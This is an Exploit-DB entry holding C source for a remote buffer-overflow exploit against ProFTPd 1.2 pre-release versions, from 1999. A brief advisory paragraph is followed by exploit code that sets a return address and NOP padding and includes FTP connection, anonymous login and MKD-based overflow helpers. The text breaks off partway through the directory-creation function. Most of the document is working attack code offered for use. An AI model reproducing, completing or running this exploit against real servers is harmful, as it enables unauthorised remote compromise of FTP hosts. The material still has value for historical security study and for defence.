Exploit-DB #19475
Description: ProFTPd 1.2 pre1/pre2/pre3/pre4/pre5 - Remote Buffer Overflow (1)
Type: remote
Platform: linux
Date: 1999-08-17
Author: babcia padlina ltd

Exploit:
// source: https://www.securityfocus.com/bid/612/info

The vulnerability in 1.2pre1, 1.2pre3 and 1.2pre3 is a remotely exploitable buffer overflow, the result of a sprintf() in the log_xfer() routine in src/log.c.
The vulnerability in 1.2pre4 is a mkdir overflow. The name of the created path can not exceed 255 chars.
1.2pre6 limits the command buffer size to 512 characters in src/main.c and modifies the fix from 1.2pre4. 

/*
* babcia padlina ltd. (poland, 17/08/99)
*
* your ultimate proftpd pre0-3 exploiting toolkit
*
* based on:
*               - adm-wuftpd by duke
*               - kombajn do czere�ni by Lam3rZ (thx for shellcode!)
*
* thx and greetz.
*/

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>

#define MAXARGLEN       64
#define MAXLINE         1024
#define ANONL           "ftp"
#define ANONP           "mozilla@"
#define INCOM           "/incoming/"
#define FTPPORT         21
#define RET             0xbffff550
#define NOP             0x90
#define ALIGN           0
#define CONTENT         "y0u ar3 n0w 0wn3d!"
#define GREEN           "\033[1;32m"
#define RED             "\033[1;31m"
#define NORM            "\033[1;39m"
#define BOLD            "\E[1m"
#define UNBOLD          "\E[m"

char *av0;
struct sockaddr_in cli;
char sendbuf[MAXLINE];

#ifdef DEBUG
FILE *phile;
#endif

long getip(name)
char *name;
{
        struct hostent *hp;
        long ip;
        extern int h_errno;

        if ((ip=inet_addr(name))==-1)
        {
                if ((hp=gethostbyname(name))==NULL)
                {
                        fprintf(stderr, "gethostbyname(): %s\n", strerror(h_errno));
                        exit(1);
                }
                memcpy(&ip, (hp->h_addr), 4);
        }
        return ip;
}

int readline(sockfd, buf)
int sockfd;
char *buf;
{
        int done = 0;
        char *n = NULL, *p = NULL, localbuff[MAXLINE];

        while (!done)
        {
                if (!p)
                {

                        int count;

                        bzero(localbuff, MAXLINE);

                        if ((count = read(sockfd, localbuff, MAXLINE)) < 0)
                        {
                                (void)fprintf(stderr, "IO error.\n");
                                return -1;
                        }
//
#ifdef DEBUG
                        fprintf(phile, "Received: %s", localbuff);
#endif
//

                        localbuff[count] = 0;
                        p = localbuff;
                }

                n=(char *)strchr(p, '\r');

                if (n)
                {
                        *n = 0;
                        n += 2;
                        done = 1;
                }

                bzero(buf, MAXLINE);

                strncat(buf, p, MAXLINE);
                p = n;
        }
        return 0;
}

int eatthis(sockfd, line)
int sockfd;
char *line;
{
        do
        {
                bzero(line, MAXLINE);
                if (readline(sockfd, line) < 0) return -1;
        } while (line[3] != ' ');

        return (int)(line[0] - '0');
}

int connecttoftp(host)
char *host;
{
        int sockfd;

        bzero(&cli, sizeof(cli));
        cli.sin_family = AF_INET;
        cli.sin_addr.s_addr=getip(host);
        cli.sin_port = htons(FTPPORT);

//
#ifdef DEBUG
        fprintf(phile, "Connecting to %s.\n", host);
#endif
//

        if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
        {
                perror("socket");
                return -1;
        }

        if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0)
        {
                perror("connect");
                return -1;
        }

//
#ifdef DEBUG
        fprintf(phile, "Connected to %s.\n", host);
#endif
//

        return sockfd;
}

int logintoftp(sockfd, login, passwd)
int sockfd;
char *login, *passwd;
{
        int result;
        char errbuf[MAXLINE];

        result = eatthis(sockfd, errbuf);

        if (result < 0) return -1;
        if (result > 2)
        {
                fprintf(stderr, "%s\n", errbuf);
                return -1;
        }

        bzero(sendbuf, MAXLINE);
        sprintf(sendbuf, "USER %s\r\n", login);
        write(sockfd, sendbuf, strlen(sendbuf));

//
#ifdef DEBUG
        fprintf(phile, "Sending: %s", sendbuf);
#endif
//

        result = eatthis(sockfd, errbuf);

        if (result < 0) return -1;
        if (result > 3)
        {
                fprintf(stderr, "%s\n", errbuf);
                return -1;
        }

        bzero(sendbuf, MAXLINE);
        sprintf(sendbuf, "PASS %s\r\n", passwd);
        write(sockfd, sendbuf, strlen(sendbuf));

//
#ifdef DEBUG
        fprintf(phile, "Sending: %s", sendbuf);
#endif
//

        result = eatthis(sockfd, errbuf);

        if (result < 0) return -1;
        if (result > 2)
        {
                fprintf(stderr, "%s\n", errbuf);
                return -1;
        }

        return 0;
}

int makedir(dir, sockfd)
char *dir;
int sockfd;
{
        char buf[MAXLINE], errbuf[MAXLINE], *p;
        int n, result;

        bzero(buf, MAXLINE);
        p = buf;
        for(n=0;n < strlen(dir);n++)
        {

                if(dir[n]=='\xff')
                {
                        *p='\xff';
                        p++;
                }
                *p=dir[n];
                p++;
        }

        bzero(sendbuf, MAXLINE);
        sprintf(sendbuf, "MKD %s\r\n", buf);
        write(sockfd, sendbuf, strlen(sendbuf));

//
#ifdef DEBUG
        fprintf(phile, "Sending: %s", sendbuf);
#endif
//

        result = eatthis(sockfd, errbuf);

        if (result < 0) return -1;
        if (result > 2)
        {